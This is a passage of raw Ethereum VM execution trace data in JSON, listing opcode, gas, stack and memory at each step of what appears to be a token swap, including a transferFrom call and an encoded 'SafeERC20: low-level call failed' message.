0000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11740,"op":"POP","gas":2293,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11741,"op":"RETURNDATASIZE","gas":2291,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11742,"op":"DUP1","gas":2289,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11743,"op":"PUSH1","gas":2286,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11745,"op":"DUP2","gas":2283,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11746,"op":"EQ","gas":2280,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11747,"op":"PUSH2","gas":2277,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11750,"op":"JUMPI","gas":2274,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x0","0x0","0x1","0x2e08"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11784,"op":"JUMPDEST","gas":2264,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11785,"op":"PUSH1","gas":2263,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11787,"op":"SWAP2","gas":2260,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x0","0x0","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11788,"op":"POP","gas":2257,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x60","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11789,"op":"JUMPDEST","gas":2255,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x60","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","0000000